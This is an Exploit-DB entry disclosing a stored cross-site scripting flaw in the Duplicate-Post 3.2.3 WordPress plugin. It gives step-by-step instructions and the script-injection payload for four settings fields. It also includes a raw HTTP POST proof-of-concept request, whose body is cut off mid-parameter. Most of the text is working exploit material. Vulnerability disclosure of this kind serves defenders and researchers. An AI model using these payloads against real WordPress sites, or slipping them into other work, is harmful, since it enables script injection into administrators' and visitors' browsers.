Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting

EDB-ID:
47424

CVE:
N/A

EDB Verified: ×

Author:
UNK9VVN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2019-09-26

Vulnerable App:

```
# Exploit Title: Duplicate-Post 3.2.3 - Persistent Cross-Site Scripting
# Google Dork: N/A
# Date: 2019-06-11
# Exploit Author: Unk9vvN
# Vendor Homepage: https://duplicate-post.lopo.it/
# Software Link: https://wordpress.org/plugins/duplicate-post/
# Version: 3.2.3
# Tested on: Kali Linux
# CVE: N/A

# Description
# This vulnerability is in the validation mode and is located in the plugin
management panel and the vulnerability type is stored . the vulnerability
parameters are as follows.

1.Go to the 'Settings' section
2.Enter the payload in the "Title prefix", "Title suffix", "Increase menu
order by", "Do not copy these fields" sections
3.Click the "Save Changes" option
4.Your payload will run

# URI: http://localhost/wp-admin/options-general.php?page=duplicatepost
# Parameter & Payoad:

duplicate_post_title_prefix="><script>alert(1)</script>
duplicate_post_title_suffix="><script>alert(1)</script>
duplicate_post_increase_menu_order_by="><script>alert(1)</script>
duplicate_post_blacklist="><script>alert(1)</script>


#
# PoC
#
POST /wp-admin/options.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/options-general.php?page=duplicatepost
Content-Type: application/x-www-form-urlencoded
Content-Length: 981
Connection: close
Upgrade-Insecure-Requests: 1
DNT: 1

option_page=duplicate_post_group&action=update&_wpnonce=0e8a49a372&_wp_http_r
admin%2Foptions-general.php%3Fpage%3Dduplicatepost%26settings-
updated%3Dtrue&duplicate_post_copytitle=1&duplicate_post_copyexcerpt=1&duplic


# Discovered by:
https://t.me/Unk9vvN
```

Tags:

Advisory/Source: Link